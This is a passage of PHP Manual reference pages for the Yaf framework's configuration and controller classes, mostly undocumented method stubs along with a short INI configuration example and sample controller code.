This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Abstract::readonly
Yaf_Config_Abstract::toArray
Yaf_Config_Abstract


Cast to array

Yaf_Config_Abstract::set
Yaf_Config_Ini
Yaf_Config_Abstract
PHP Manual

Yaf_Config_Abstract::toArray

(PECL yaf >=1.0.0)

Yaf_Config_Abstract::toArray — Cast to array

Description

abstract public array Yaf_Config_Abstract::toArray ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Abstract::set
Yaf_Config_Ini
Yaf_Config_Abstract


The Yaf_Config_Ini class

(No version information available, might only be in SVN)

Introduction

Yaf_Config_Ini enables developers to store configuration data in a familiar INI format and read them in the application by using nested object property syntax. The INI format is specialized to provide both the ability to have a hierarchy of configuration data keys and inheritance between configuration data sections. Configuration data hierarchies are supported by separating the keys with the dot or period character ("."). A section may extend or inherit from another section by following the section name with a colon character (":") and the name of the section from which data are to be inherited.

Note:

Yaf_Config_Ini utilizes the » parse_ini_file() PHP function. Please review this documentation to be aware of its specific behaviors, which propagate to Yaf_Config_Ini, such as how the special values of "TRUE", "FALSE", "yes", "no", and "NULL" are handled.

Class synopsis

Yaf_Config_Ini extends Yaf_Config_Abstract implements Iterator , Traversable , ArrayAccess , Countable {
/* Properties */
/* Methods */
public __construct ( string $config_file [, string $section ] )
public void count ( void )
public void current ( void )
public void __get ([ string $name ] )
public void __isset ( string $name )
public void key ( void )
public void next ( void )
public void offsetExists ( string $name )
public void offsetGet ( string $name )
public void offsetSet ( string $name , string $value )
public void offsetUnset ( string $name )
public void readonly ( void )
public void rewind ( void )
public void __set ( string $name , mixed $value )
public void toArray ( void )
public void valid ( void )
/* Inherited methods */
abstract public mixed Yaf_Config_Abstract::get ( string $name , mixed $value )
abstract public bool Yaf_Config_Abstract::readonly ( void )
abstract public Yaf_Config_Abstract Yaf_Config_Abstract::set ( void )
abstract public array Yaf_Config_Abstract::toArray ( void )
}

Properties

_config

_readonly

Examples

Example #1 Yaf_Config_Ini()example

This example illustrates a basic use of Yaf_Config_Ini for loading configuration data from an INI file. In this example there are configuration data for both a production system and for a staging system. Because the staging system configuration data are very similar to those for production, the staging section inherits from the production section. In this case, the decision is arbitrary and could have been written conversely, with the production section inheriting from the staging section, though this may not be the case for more complex situations. Suppose, then, that the following configuration data are contained in /path/to/config.ini:

; Production site configuration data
[production]
webhost                  = www.example.com
database.adapter         = pdo_mysql
database.params.host     = db.example.com
database.params.username = dbuser
database.params.password = secret
database.params.dbname   = dbname

; Staging site configuration data inherits from production and
; overrides values as necessary
[staging : production]
database.params.host     = dev.example.com
database.params.username = devuser
database.params.password = devsecret
<?php
$config = new Yaf_Config_Ini('/path/to/config.ini', 'staging');

var_dump($config->database->params->host);
var_dump($config->database->params->dbname);
var_dump($config->get("database.params.username"));
?>

The above example will output something similar to:

string(15) "dev.example.com"
string(6) "dbname"
string(7) "devuser

Table of Contents

  • Yaf_Config_Ini::__construct — The __construct purpose
  • Yaf_Config_Ini::count — The count purpose
  • Yaf_Config_Ini::current — The current purpose
  • Yaf_Config_Ini::__get — The __get purpose
  • Yaf_Config_Ini::__isset — The __isset purpose
  • Yaf_Config_Ini::key — The key purpose
  • Yaf_Config_Ini::next — The next purpose
  • Yaf_Config_Ini::offsetExists — The offsetExists purpose
  • Yaf_Config_Ini::offsetGet — The offsetGet purpose
  • Yaf_Config_Ini::offsetSet — The offsetSet purpose
  • Yaf_Config_Ini::offsetUnset — The offsetUnset purpose
  • Yaf_Config_Ini::readonly — The readonly purpose
  • Yaf_Config_Ini::rewind — The rewind purpose
  • Yaf_Config_Ini::__set — The __set purpose
  • Yaf_Config_Ini::toArray — The toArray purpose
  • Yaf_Config_Ini::valid — The valid purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Abstract::toArray
Yaf_Config_Ini::__construct
Yaf


The __construct purpose

Yaf_Config_Ini
Yaf_Config_Ini::count
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::__construct

(PECL yaf >=1.0.0)

Yaf_Config_Ini::__construct — The __construct purpose

Description

public Yaf_Config_Ini::__construct ( string $config_file [, string $section ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

config_file

section

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini
Yaf_Config_Ini::count
Yaf_Config_Ini


The count purpose

Yaf_Config_Ini::__construct
Yaf_Config_Ini::current
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::count

(PECL yaf >=1.0.0)

Yaf_Config_Ini::count — The count purpose

Description

public void Yaf_Config_Ini::count ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::__construct
Yaf_Config_Ini::current
Yaf_Config_Ini


The current purpose

Yaf_Config_Ini::count
Yaf_Config_Ini::__get
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::current

(PECL yaf >=1.0.0)

Yaf_Config_Ini::current — The current purpose

Description

public void Yaf_Config_Ini::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::count
Yaf_Config_Ini::__get
Yaf_Config_Ini


The __get purpose

Yaf_Config_Ini::current
Yaf_Config_Ini::__isset
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::__get

(PECL yaf >=1.0.0)

Yaf_Config_Ini::__get — The __get purpose

Description

public void Yaf_Config_Ini::__get ([ string $name ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::current
Yaf_Config_Ini::__isset
Yaf_Config_Ini


The __isset purpose

Yaf_Config_Ini::__get
Yaf_Config_Ini::key
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::__isset

(PECL yaf >=1.0.0)

Yaf_Config_Ini::__isset — The __isset purpose

Description

public void Yaf_Config_Ini::__isset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::__get
Yaf_Config_Ini::key
Yaf_Config_Ini


The key purpose

Yaf_Config_Ini::__isset
Yaf_Config_Ini::next
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::key

(PECL yaf >=1.0.0)

Yaf_Config_Ini::key — The key purpose

Description

public void Yaf_Config_Ini::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::__isset
Yaf_Config_Ini::next
Yaf_Config_Ini


The next purpose

Yaf_Config_Ini::key
Yaf_Config_Ini::offsetExists
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::next

(PECL yaf >=1.0.0)

Yaf_Config_Ini::next — The next purpose

Description

public void Yaf_Config_Ini::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::key
Yaf_Config_Ini::offsetExists
Yaf_Config_Ini


The offsetExists purpose

Yaf_Config_Ini::next
Yaf_Config_Ini::offsetGet
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::offsetExists

(PECL yaf >=1.0.0)

Yaf_Config_Ini::offsetExists — The offsetExists purpose

Description

public void Yaf_Config_Ini::offsetExists ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::next
Yaf_Config_Ini::offsetGet
Yaf_Config_Ini


The offsetGet purpose

Yaf_Config_Ini::offsetExists
Yaf_Config_Ini::offsetSet
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::offsetGet

(PECL yaf >=1.0.0)

Yaf_Config_Ini::offsetGet — The offsetGet purpose

Description

public void Yaf_Config_Ini::offsetGet ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::offsetExists
Yaf_Config_Ini::offsetSet
Yaf_Config_Ini


The offsetSet purpose

Yaf_Config_Ini::offsetGet
Yaf_Config_Ini::offsetUnset
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::offsetSet

(PECL yaf >=1.0.0)

Yaf_Config_Ini::offsetSet — The offsetSet purpose

Description

public void Yaf_Config_Ini::offsetSet ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::offsetGet
Yaf_Config_Ini::offsetUnset
Yaf_Config_Ini


The offsetUnset purpose

Yaf_Config_Ini::offsetSet
Yaf_Config_Ini::readonly
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::offsetUnset

(PECL yaf >=1.0.0)

Yaf_Config_Ini::offsetUnset — The offsetUnset purpose

Description

public void Yaf_Config_Ini::offsetUnset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::offsetSet
Yaf_Config_Ini::readonly
Yaf_Config_Ini


The readonly purpose

Yaf_Config_Ini::offsetUnset
Yaf_Config_Ini::rewind
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::readonly

(PECL yaf >=1.0.0)

Yaf_Config_Ini::readonly — The readonly purpose

Description

public void Yaf_Config_Ini::readonly ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::offsetUnset
Yaf_Config_Ini::rewind
Yaf_Config_Ini


The rewind purpose

Yaf_Config_Ini::readonly
Yaf_Config_Ini::__set
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::rewind

(PECL yaf >=1.0.0)

Yaf_Config_Ini::rewind — The rewind purpose

Description

public void Yaf_Config_Ini::rewind ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::readonly
Yaf_Config_Ini::__set
Yaf_Config_Ini


The __set purpose

Yaf_Config_Ini::rewind
Yaf_Config_Ini::toArray
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::__set

(PECL yaf >=1.0.0)

Yaf_Config_Ini::__set — The __set purpose

Description

public void Yaf_Config_Ini::__set ( string $name , mixed $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::rewind
Yaf_Config_Ini::toArray
Yaf_Config_Ini


The toArray purpose

Yaf_Config_Ini::__set
Yaf_Config_Ini::valid
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::toArray

(PECL yaf >=1.0.0)

Yaf_Config_Ini::toArray — The toArray purpose

Description

public void Yaf_Config_Ini::toArray ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::__set
Yaf_Config_Ini::valid
Yaf_Config_Ini


The valid purpose

Yaf_Config_Ini::toArray
Yaf_Config_Simple
Yaf_Config_Ini
PHP Manual

Yaf_Config_Ini::valid

(PECL yaf >=1.0.0)

Yaf_Config_Ini::valid — The valid purpose

Description

public void Yaf_Config_Ini::valid ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::toArray
Yaf_Config_Simple
Yaf_Config_Ini


The Yaf_Config_Simple class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Config_Simple extends Yaf_Config_Abstract implements Iterator , Traversable , ArrayAccess , Countable {
/* Properties */
protected $_readonly ;
/* Methods */
public __construct ( string $config_file [, string $section ] )
public void count ( void )
public void current ( void )
public void __get ([ string $name ] )
public void __isset ( string $name )
public void key ( void )
public void next ( void )
public void offsetExists ( string $name )
public void offsetGet ( string $name )
public void offsetSet ( string $name , string $value )
public void offsetUnset ( string $name )
public void readonly ( void )
public void rewind ( void )
public void __set ( string $name , string $value )
public void toArray ( void )
public void valid ( void )
/* Inherited methods */
abstract public mixed Yaf_Config_Abstract::get ( string $name , mixed $value )
abstract public bool Yaf_Config_Abstract::readonly ( void )
abstract public Yaf_Config_Abstract Yaf_Config_Abstract::set ( void )
abstract public array Yaf_Config_Abstract::toArray ( void )
}

Properties

_config

_readonly

Table of Contents

  • Yaf_Config_Simple::__construct — The __construct purpose
  • Yaf_Config_Simple::count — The count purpose
  • Yaf_Config_Simple::current — The current purpose
  • Yaf_Config_Simple::__get — The __get purpose
  • Yaf_Config_Simple::__isset — The __isset purpose
  • Yaf_Config_Simple::key — The key purpose
  • Yaf_Config_Simple::next — The next purpose
  • Yaf_Config_Simple::offsetExists — The offsetExists purpose
  • Yaf_Config_Simple::offsetGet — The offsetGet purpose
  • Yaf_Config_Simple::offsetSet — The offsetSet purpose
  • Yaf_Config_Simple::offsetUnset — The offsetUnset purpose
  • Yaf_Config_Simple::readonly — The readonly purpose
  • Yaf_Config_Simple::rewind — The rewind purpose
  • Yaf_Config_Simple::__set — The __set purpose
  • Yaf_Config_Simple::toArray — The toArray purpose
  • Yaf_Config_Simple::valid — The valid purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Ini::valid
Yaf_Config_Simple::__construct
Yaf


The __construct purpose

Yaf_Config_Simple
Yaf_Config_Simple::count
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::__construct

(PECL yaf >=1.0.0)

Yaf_Config_Simple::__construct — The __construct purpose

Description

public Yaf_Config_Simple::__construct ( string $config_file [, string $section ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

config_file

section

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple
Yaf_Config_Simple::count
Yaf_Config_Simple


The count purpose

Yaf_Config_Simple::__construct
Yaf_Config_Simple::current
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::count

(PECL yaf >=1.0.0)

Yaf_Config_Simple::count — The count purpose

Description

public void Yaf_Config_Simple::count ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::__construct
Yaf_Config_Simple::current
Yaf_Config_Simple


The current purpose

Yaf_Config_Simple::count
Yaf_Config_Simple::__get
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::current

(PECL yaf >=1.0.0)

Yaf_Config_Simple::current — The current purpose

Description

public void Yaf_Config_Simple::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::count
Yaf_Config_Simple::__get
Yaf_Config_Simple


The __get purpose

Yaf_Config_Simple::current
Yaf_Config_Simple::__isset
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::__get

(PECL yaf >=1.0.0)

Yaf_Config_Simple::__get — The __get purpose

Description

public void Yaf_Config_Simple::__get ([ string $name ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::current
Yaf_Config_Simple::__isset
Yaf_Config_Simple


The __isset purpose

Yaf_Config_Simple::__get
Yaf_Config_Simple::key
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::__isset

(PECL yaf >=1.0.0)

Yaf_Config_Simple::__isset — The __isset purpose

Description

public void Yaf_Config_Simple::__isset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::__get
Yaf_Config_Simple::key
Yaf_Config_Simple


The key purpose

Yaf_Config_Simple::__isset
Yaf_Config_Simple::next
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::key

(PECL yaf >=1.0.0)

Yaf_Config_Simple::key — The key purpose

Description

public void Yaf_Config_Simple::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::__isset
Yaf_Config_Simple::next
Yaf_Config_Simple


The next purpose

Yaf_Config_Simple::key
Yaf_Config_Simple::offsetExists
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::next

(PECL yaf >=1.0.0)

Yaf_Config_Simple::next — The next purpose

Description

public void Yaf_Config_Simple::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::key
Yaf_Config_Simple::offsetExists
Yaf_Config_Simple


The offsetExists purpose

Yaf_Config_Simple::next
Yaf_Config_Simple::offsetGet
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::offsetExists

(PECL yaf >=1.0.0)

Yaf_Config_Simple::offsetExists — The offsetExists purpose

Description

public void Yaf_Config_Simple::offsetExists ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::next
Yaf_Config_Simple::offsetGet
Yaf_Config_Simple


The offsetGet purpose

Yaf_Config_Simple::offsetExists
Yaf_Config_Simple::offsetSet
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::offsetGet

(PECL yaf >=1.0.0)

Yaf_Config_Simple::offsetGet — The offsetGet purpose

Description

public void Yaf_Config_Simple::offsetGet ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::offsetExists
Yaf_Config_Simple::offsetSet
Yaf_Config_Simple


The offsetSet purpose

Yaf_Config_Simple::offsetGet
Yaf_Config_Simple::offsetUnset
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::offsetSet

(PECL yaf >=1.0.0)

Yaf_Config_Simple::offsetSet — The offsetSet purpose

Description

public void Yaf_Config_Simple::offsetSet ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::offsetGet
Yaf_Config_Simple::offsetUnset
Yaf_Config_Simple


The offsetUnset purpose

Yaf_Config_Simple::offsetSet
Yaf_Config_Simple::readonly
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::offsetUnset

(PECL yaf >=1.0.0)

Yaf_Config_Simple::offsetUnset — The offsetUnset purpose

Description

public void Yaf_Config_Simple::offsetUnset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::offsetSet
Yaf_Config_Simple::readonly
Yaf_Config_Simple


The readonly purpose

Yaf_Config_Simple::offsetUnset
Yaf_Config_Simple::rewind
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::readonly

(PECL yaf >=1.0.0)

Yaf_Config_Simple::readonly — The readonly purpose

Description

public void Yaf_Config_Simple::readonly ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::offsetUnset
Yaf_Config_Simple::rewind
Yaf_Config_Simple


The rewind purpose

Yaf_Config_Simple::readonly
Yaf_Config_Simple::__set
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::rewind

(PECL yaf >=1.0.0)

Yaf_Config_Simple::rewind — The rewind purpose

Description

public void Yaf_Config_Simple::rewind ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::readonly
Yaf_Config_Simple::__set
Yaf_Config_Simple


The __set purpose

Yaf_Config_Simple::rewind
Yaf_Config_Simple::toArray
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::__set

(PECL yaf >=1.0.0)

Yaf_Config_Simple::__set — The __set purpose

Description

public void Yaf_Config_Simple::__set ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::rewind
Yaf_Config_Simple::toArray
Yaf_Config_Simple


The toArray purpose

Yaf_Config_Simple::__set
Yaf_Config_Simple::valid
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::toArray

(PECL yaf >=1.0.0)

Yaf_Config_Simple::toArray — The toArray purpose

Description

public void Yaf_Config_Simple::toArray ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::__set
Yaf_Config_Simple::valid
Yaf_Config_Simple


The valid purpose

Yaf_Config_Simple::toArray
Yaf_Controller_Abstract
Yaf_Config_Simple
PHP Manual

Yaf_Config_Simple::valid

(PECL yaf >=1.0.0)

Yaf_Config_Simple::valid — The valid purpose

Description

public void Yaf_Config_Simple::valid ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::toArray
Yaf_Controller_Abstract
Yaf_Config_Simple


The Yaf_Controller_Abstract class

(No version information available, might only be in SVN)

Introduction

Yaf_Controller_Abstract is the heart of Yaf's system. MVC stands for Model-View-Controller and is a design pattern targeted at separating application logic from display logic.

Every custom controller shall inherit Yaf_Controller_Abstract.

You will find that you can not define __construct function for your custom controller, thus, Yaf_Controller_Abstract provides a magic method: Yaf_Controller_Abstract::init().

If you have defined a init() method in your custom controller, it will be called as long as the controller was instantiated.

Action may have arguments, when a request coming, if there are the same name variable in the request parameters(see Yaf_Request_Abstract::getParam()) after routed, Yaf will pass them to the action method(see Yaf_Action_Abstract::execute()).

Class synopsis

abstract Yaf_Controller_Abstract {
/* Properties */
public $actions ;
protected $_module ;
protected $_name ;
protected $_request ;
protected $_response ;
protected $_invoke_args ;
protected $_view ;
/* Methods */
final private void __clone ( void )
final private __construct ( void )
final protected void display ( string $tpl [, array $parameters ] )
final public void forward ( string $module [, string $controller [, string $action [, array $paramters ]]] )
final public void getInvokeArg ( string $name )
final public void getInvokeArgs ( void )
final public void getModuleName ( void )
final public void getRequest ( void )
final public void getResponse ( void )
final public void getView ( void )
final public void getViewpath ( void )
final public void initView ([ array $options ] )
final public void redirect ( string $url )
final protected void render ( string $tpl [, array $parameters ] )
final public void setViewpath ( string $view_directory )
}

Properties

actions

You can also define a action method in a separate PHP script by using this property and Yaf_Action_Abstract.

Example #1 define action in a separate file

<?php
class IndexController extends Yaf_Controller_Abstract {
    protected $actions = array(
        /** now dummyAction is defined in a separate file */
        "dummy" => "actions/Dummy_action.php",
    );

    /* action method may have arguments */
    public indexAction($name, $id) {
       assert($name == $this->getRequest()->getParam("name"));
       assert($id   == $this->_request->getParam("id"));
    }
}
?>

Example #2 Dummy_action.php

<?php
class DummyAction extends Yaf_Action_Abstract {
    /* a action class shall define this method  as the entry point */
    public execute() {
    }
}
?>

_module

module name

_name

_request

the request object

_response

_invoke_args

_view

view engine object

Table of Contents

  • Yaf_Controller_Abstract::__clone — Yaf_Controller_Abstract can not be cloned
  • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract constructor
  • Yaf_Controller_Abstract::display — The display purpose
  • Yaf_Controller_Abstract::forward — The forward purpose
  • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
  • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
  • Yaf_Controller_Abstract::getModuleName — The getModuleName purpose
  • Yaf_Controller_Abstract::getRequest — The getRequest purpose
  • Yaf_Controller_Abstract::getResponse — The getResponse purpose
  • Yaf_Controller_Abstract::getView — The getView purpose
  • Yaf_Controller_Abstract::getViewpath — The getViewpath purpose
  • Yaf_Controller_Abstract::initView — The initView purpose
  • Yaf_Controller_Abstract::redirect — The redirect purpose
  • Yaf_Controller_Abstract::render — The render purpose
  • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Simple::valid
Yaf_Controller_Abstract::__clone
Yaf


Yaf_Controller_Abstract can not be cloned

Yaf_Controller_Abstract
Yaf_Controller_Abstract::__construct
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::__clone

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::__clone — Yaf_Controller_Abstract can not be cloned

Description

final private void Yaf_Controller_Abstract::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract
Yaf_Controller_Abstract::__construct
Yaf_Controller_Abstract


Yaf_Controller_Abstract constructor

Yaf_Controller_Abstract::__clone
Yaf_Controller_Abstract::display
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::__construct

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract constructor

Description

final private Yaf_Controller_Abstract::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::__clone
Yaf_Controller_Abstract::display
Yaf_Controller_Abstract


The display purpose

Yaf_Controller_Abstract::__construct
Yaf_Controller_Abstract::forward
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::display

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::display — The display purpose

Description

final protected void Yaf_Controller_Abstract::display ( string $tpl [, array $parameters ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::__construct
Yaf_Controller_Abstract::forward
Yaf_Controller_Abstract


The forward purpose

Yaf_Controller_Abstract::display
Yaf_Controller_Abstract::getInvokeArg
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::forward

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::forward — The forward purpose

Description

final public void Yaf_Controller_Abstract::forward ( string $module [, string $controller [, string $action [, array $paramters ]]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

module

controller

action

paramters

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::display
Yaf_Controller_Abstract::getInvokeArg
Yaf_Controller_Abstract


The getInvokeArg purpose

Yaf_Controller_Abstract::forward
Yaf_Controller_Abstract::getInvokeArgs
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::getInvokeArg

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose

Description

final public void Yaf_Controller_Abstract::getInvokeArg ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::forward
Yaf_Controller_Abstract::getInvokeArgs
Yaf_Controller_Abstract


The getInvokeArgs purpose

Yaf_Controller_Abstract::getInvokeArg
Yaf_Controller_Abstract::getModuleName
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::getInvokeArgs

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose

Description

final public void Yaf_Controller_Abstract::getInvokeArgs ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::getInvokeArg
Yaf_Controller_Abstract::getModuleName
Yaf_Controller_Abstract


The getModuleName purpose

Yaf_Controller_Abstract::getInvokeArgs
Yaf_Controller_Abstract::getRequest
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::getModuleName

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::getModuleName — The getModuleName purpose

Description

final public void Yaf_Controller_Abstract::getModuleName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::getInvokeArgs
Yaf_Controller_Abstract::getRequest
Yaf_Controller_Abstract


The getRequest purpose

Yaf_Controller_Abstract::getModuleName
Yaf_Controller_Abstract::getResponse
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::getRequest

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::getRequest — The getRequest purpose

Description

final public void Yaf_Controller_Abstract::getRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::getModuleName
Yaf_Controller_Abstract::getResponse
Yaf_Controller_Abstract


The getResponse purpose

Yaf_Controller_Abstract::getRequest
Yaf_Controller_Abstract::getView
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::getResponse

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::getResponse — The getResponse purpose

Description

final public void Yaf_Controller_Abstract::getResponse ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::getRequest
Yaf_Controller_Abstract::getView
Yaf_Controller_Abstract


The getView purpose

Yaf_Controller_Abstract::getResponse
Yaf_Controller_Abstract::getViewpath
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::getView

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::getView — The getView purpose

Description

final public void Yaf_Controller_Abstract::getView ( void )

Warning

